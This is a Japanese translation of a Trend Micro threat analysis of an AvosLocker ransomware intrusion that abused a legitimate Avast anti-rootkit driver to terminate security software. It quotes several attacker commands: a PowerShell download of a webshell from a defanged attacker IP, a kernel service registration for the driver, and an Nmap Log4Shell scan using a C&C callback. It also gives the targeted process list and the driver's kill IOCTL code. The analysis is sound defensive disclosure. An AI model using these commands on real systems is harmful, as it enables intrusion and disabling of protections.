ランサムウェア
ランサムウェア「AvosLocker」:セキュリティ製品の正規ドライバファイルを悪用する不正活動の手口を解析
トレンドマイクロは、ランサムウェア「AvosLocker」の新しい検体を発見しました。この検体を利用するランサムウェア攻撃の中では、過去に報告されているAvosLockerの活動に加え、正規ドライバの不正使用によってウイルス対策ソフトの検知を回避する活動が判明しました。
トレンドマイクロは、ランサムウェア「AvosLocker」の新しい検体を発見しました。この検体を利用するランサムウェア攻撃の中では、過去に報告されているAvosLockerの活動に加え、正規ドライバの不正使用によってウイルス対策ソフトの検知を回避する活動が判明しました。これは正規ウイルス対策ソフト「Avast」のアンチルートキットドライバファイル「asWarPot.sys」を悪用してセキュリティ対策機能を無効化する初の事例として、米国で確認されました。さらに当該の攻撃の中では、サービス検索ツール「Nmap NSE script」を駆使して、ロギングツール「Log4j」の脆弱性「Log4Shell」を持つエンドポイントを複数まとめて検索する活動も確認できました。これらは「Human-Operated」とも呼ばれるランサムウェア攻撃の中で、正規ツールの悪用が常套手段化すると共に一層巧妙化していることを示す事例と言えます。
今回確認した「AvosLocker」亜種を使用するランサムウェア攻撃の手法を分析した結果、一連の感染は、アカウント・パスワード管理ツール「Zoho ManageEngine ADSelfService Plus (ADSS)」の脆弱性を利用した攻撃から始まったと考えられます。
ネットワーク・トラフィック情報の詳細が不足していたことから、攻撃に利用された脆弱性の「CVE ID」を厳密に特定するには至りませんでした。しかし、調査を進めた結果、今回利用された脆弱性は、Synacktivのペネトレーションテストで報告されている脆弱性「CVE-2021-40539」と類似することが分かりました。特に、JSPファイルを作成(test.jsp)すること、null値でkeytool.exeを起動して攻撃用Javaクラスを実行する点で、両者の一致が見られました。
攻撃侵入時の動作解明
攻撃侵入時の動作として、はじめにADSSのJava実行ファイル(C:\ManageEngine\ADSelfService Plus\jre\bin\java.exe)からmshta.exeが起動され、次に、外部に配備されたHTMLアプリケーション(HTA)が、攻撃者のコマンド&コントロール(C&C)サーバからリモートで実行されました。こうした、感染に関わるプロセス間の連鎖的な呼び出し関係は、Trend Micro Vision One™によって以下のように可視化されます。
HTAファイルを詳しく解析した結果、当該のファイルはmshta.exeによってダウンロード、実行され、そこからさらに、難読化されたPowerShellスクリプトが呼ばれることが分かりました。また、このPowerShellスクリプトには、感染した端末を攻撃者側のC&Cサーバに接続させ、任意のコマンドを実行可能にするためのシェルコードが含まれていました。
上述のPowerShellスクリプトを実行すると、Webサイト用スクリプト言語「ASPX」で稼働する「Webシェル」がダウンロードされます。ダウンロードに際して下記コマンドが使用されます。
- cmd.exe /c powershell -command Invoke-WebRequest -Uri hxxp://xx.xx.xx.xx/subshell.aspx -OutFile /ManageEngine/ADSelfService Plus/webapps/adssp/help/admin-guide
Synacktivの調査によると、このコマンドによって、ASPXのWebシェルが、リモートIPアドレスから指定のディレクトリ配下にダウンロードされます。さらに、攻撃者はそこにアクセスすることが可能になります。実際、攻撃者は、このWebシェルを経由して、「whoami」や「systeminfo」、PowerShellといったさまざまなコマンドをリモート実行してシステム情報を窃取しました。
ユーザ関連の情報窃取に使用されたコマンドとして、ドメインコントローラ上のユーザ名を窃取する「net」、「net1」、リモートデスクトップ・ホストサーバ上のユーザ名、セッションID、セッション状態(アクティブまたは切断)、アイドル時間、ユーザのログイン日時を窃取する「query user」が挙げられます。
また、PowerShellスクリプトによって、リモートデスクトップツール「AnyDeskMSI」のダウンロードとインストールが行われ、ファイアウォール経由での通信を許可するようにレジストリが更新されました。
ユーザ情報について調査したところ、デフォルトドメイン上に、管理者権限を持った新規ユーザが登録されていました。攻撃者は、このユーザを用いることで、標的システムを管理者レベルでアクセスする権限を得たことになります。続いて、攻撃者は、プロセス一覧を取得するコマンド「TaskList」を使用して、起動中のアンチウイルスプロセスを検索しました。
続いて、プロセスを停止するコマンドである「TaskKill」を使用して、セキュリティ製品を停止しようとする挙動も確認されました。しかし、Trend Micro Vision One™によって、プロセス停止の試みは失敗し、引き続きアクティビティデータを収集し続けることができました。
攻撃用の各種ツールとその機能
攻撃者はAnyDeskMSIを経由して、追加の攻撃用ツールを感染した端末にコピーしました。これらの攻撃用ツールは、ローカルネットワーク情報を窃取して、セキュリティ製品をさらに無効化することを意図したものです。その一覧を下記に記載します。
AnyDeskによってコピーされたAvastアンチルートキットドライバ「aswArPot.sys」については、下記コマンドによって、「aswSP_ArPot2」のサービス名でOSに登録されました。
- sc.exe create aswSP_ArPot2 binPath=C:\windows\aswArPot.sys type=kernel
このコマンドによって、ドライバファイル「aswArPot.sys」はサービスとして利用可能な状態になり、アンチウイルス製品を無効化する準備が整ったことになります。今回は特に、当該ファイルを実行する際のcmd.exeの使い方が特異であることが注意を呼びました。
MimikatzもAnyDeskMSIを経由して感染した端末にコピーされました。しかし、これらのツールは、導入している製品のセキュリティ機能に検知され、削除されました。
また、サービスとして利用可能な状態になった「aswarpot.sys(Avastによる正規アンチルートキットドライバ)」を呼び出すPowerShellスクリプトが発見されました。このPowerShellスクリプトは、セキュリティ対策製品のプロセスを一覧として抽出し、該当プロセスを停止する機能を備えていました。
検証:アンチウイルスの無効化処理を手動で再現
セキュリティ対策機能を無効化する際の動作やコマンドを詳細に把握するため、感染に関する一連の処理を手動で再現しました。下記、および図17に、当該動作の再現中に検索されたプロセスの一覧を示します。
- EndpointBasecamp.exe
- Trend Micro Endpoint Basecamp
- ResponseService.exe
- PccNTMon.exe
- SupportConnector.exe
- AOTAgent.exe
- CETASvc.exe
- CETASvc
- iVPAgent.exe
- tmwscsvc.exe
- TMResponse
- AOTAgentSvc
- TMBMServer
- iVPAgent
- Trend Micro Web Service Communicator
- Tmccsf
- Tmlisten
- Ntrtscan
- TmWSCSvc
分析の結果、「aswSP_ArPot2」の名前でサービス登録されたドライバファイル「aswArPot.sys」は、API関数「DeviceIoControl」のハンドル型引数に使用されることが分かりました。
DeviceIoControl関数は、当該ドライバファイルの機能を実行するために使用されます。今回の例では、先に挙げたプロセス一覧のプロセス毎に、この関数が都度呼び出されます。その際、引数として、個々のプロセスIDと、固定値0x9988C094、さらに図18のコードで取得済みであるファイルハンドルが渡されます。
ドライバファイル「aswArPot.sys」の実装を見ると、先に述べた固定値0x9988C094に対応するswitch case分岐があり、そこから別の関数「sub_14001DC80」が呼ばれ、その先には、指定されたプロセスを停止する機能があることが分かります。
水平移動・内部活動およびその他の処理
ランサムウェア「AvosLocker」の背後にいる攻撃者は、ドライバファイル「aswArPot.sys」によってセキュリティ製品を無効化した後、ハッキング用ツールである「MimiKatz」と「Impacket」を再度送り付けようとしました。
また、「C:\temp\pass\start.exe」により、パスワード復旧ツール「XenArmor」が実行されたことも、確認されました。
さらに、攻撃者は、ネットワーク上で任意のコマンドを実行可能にする脆弱性「Log4Shell(CVE-2021-44228)」の有無を確認するため、サービス探索ツール「NMAP Script」を使用しました。この際に用いられたコマンドは下記の通りであり、callback-serverには攻撃者側のC&Cサーバが設定されました。
- --script log4shell.nse --script-args log4shell.waf-bypass=true --script-args log4shell.callback-server=xx.xx.xx.xx:1389 -p 80,443 xx.xx.xx.xx/xx
この他、攻撃者は、システムネットワーク設定情報を追加で取得するコマンドを実行しました。これらのコマンドからは、他の利用可能なエンドポイントが把握できるため、水平移動・内部活動の一環であったと推測されます。
攻撃用ツールをネットワーク内に拡散
AnyDeskによってコピーされたソフトウェアデプロイツール「PDQ」は、ネットワーク内に存在する複数のエンドポイントに、攻撃用のバッチスクリプトを配備する目的で使用されました。
配備されたバッチスクリプトには、下記のコマンドが含まれていました。
- Windows UpdateとMicrosoft Defenderを無効化
- セキュリティ製品のセーフモードでの起動を阻止
- 管理者権限のユーザアカウントを新規作成
- AvosLocker実行ファイル(update.exe)を自動起動対象に追加
- システム起動時のメッセージ表示を無効化
- ネットワークありでセーフモード起動するように設定、Windowsエラー復旧を無効化してシステムを再起動
結論
AvosLockerを利用する攻撃者は、水平移動・内部活動の手段としてAnyDeskを使用することが、これまで報告されてきました。その一方、別のリモートアクセスツールが代用される可能性があることについても、留意する必要があります。これはソフトウェアデプロイツールについても同様であり、攻撃者は、実用に耐えうる性能を持った正規の代替ツールを探して不正使用する可能性があります。また、攻撃者がプロセス停止の手段にアンチルートキット用ドライバを選んだ理由として、その利便性だけでなく、カーネルモードで実行することによって得られる高いレベルでの操作権限も挙げられます。
今回調査したランサムウェア攻撃では、インストールされているセキュリティ対策用プロセスを停止するだけでなく、システム起動メッセージを無効化するなど、詳細な挙動を改変する機能も備えています。一方、比較的新しい他のランサムウェア攻撃の中では、MespinozaやPysaのように、被害者に感染したことを知らせる意図で、システム起動メッセージのレジストリを書き換えるものも存在します。
他のマルウェアやランサムウェアグループ同様、AvosLockerの攻撃者は、様々な脆弱性を利用して、企業や組織による対策がまだ行き届いていない弱点を狙って攻撃します。攻撃者はひとたびネットワーク内部に侵入すると、正規のツールを巧みに利用しながら、自身の存在や攻撃的活動を巧妙に隠そうと模索します。今回の事例において、攻撃者は、Avastの正規ドライバを不正使用する方法を見出し、他のベンダが提供するセキュリティ製品の機能を無効化しました。
しかし、今回確認された「TaskKill」コマンドによるアンチウイルス停止の攻撃法は、阻止することが可能です。実際、前述の通り、Trend Micro Vision One™においてはセルフプロテクション機能によって、プロセス停止の試みは阻止されました。そして、アクティビティデータを収集し続け、不審な挙動をブロックすることができました。セキュリティ対策チームとしては、本プラットフォームが提供する可視化された情報を参照することで、AvosLockerの連鎖的な攻撃の影響範囲を視覚的に把握できました。さらに、感染に際してドライバファイルが不正使用される状況を、細部に渡って再現することが可能になりました。
今回の事例についてドライバを悪用されたAvast社に報告をしたところ、下記の回答がありました。
今回報告された脆弱性は、ドライバファイル「aswArpot.sys」の古いバージョンにおいて確認可能ですが、2021年6月にリリースしたAvast 21.5では、修正が適用されています。Microsoft社とも綿密な連携を行い、Windows OS(10と11)では、古いバージョンのAvastドライバをロードできないようにブロックする修正がリリースされています。
このブロック機能が作動すると、下記のメッセージが表示されます(コマンド「sc start」に対する応答メッセージ)。
(SC) StartService FAILED 1275:
This driver has been blocked from loading
上述のMicrosoft社によるWindows OSアップデートパッチは、2月の時点でオプション更新として、また、4月の時点でMicrosoftセキュリティリリースとして公開されています。そのため、最新バージョンのWindows10、11で稼働する端末には、報告にあった種類の攻撃に関する脆弱性はありません。
AvastおよびAVGは、消費者向け、および企業向けの全バージョンにおいて、今回報告されたランサムウェア「AvosLocker」の亜種を検知し、その攻撃を阻止します。そのため、ユーザの方は、当該経路の攻撃から保護されています。
サードパーティ製アンチウイルスソフトウェアをお使いのユーザは、今回報告された攻撃を防ぐため、お使いのWindows OSに最新のセキュリティパッチを適用の上、完全に最新化されたアンチウイルスプログラムを使用することを推奨します。
侵入の痕跡(Indicators of Compromise、IoC)
侵入の痕跡(IoC)はこちらで確認してください。
参考記事:
• 「AvosLocker Ransomware Variant Abuses Driver File to Disable Anti-Virus, Scans for Log4shell」
By: Christoper Ordonez, Alvin Nieto
翻訳:清水 浩平(Core Technology Marketing, Trend Micro™ Research)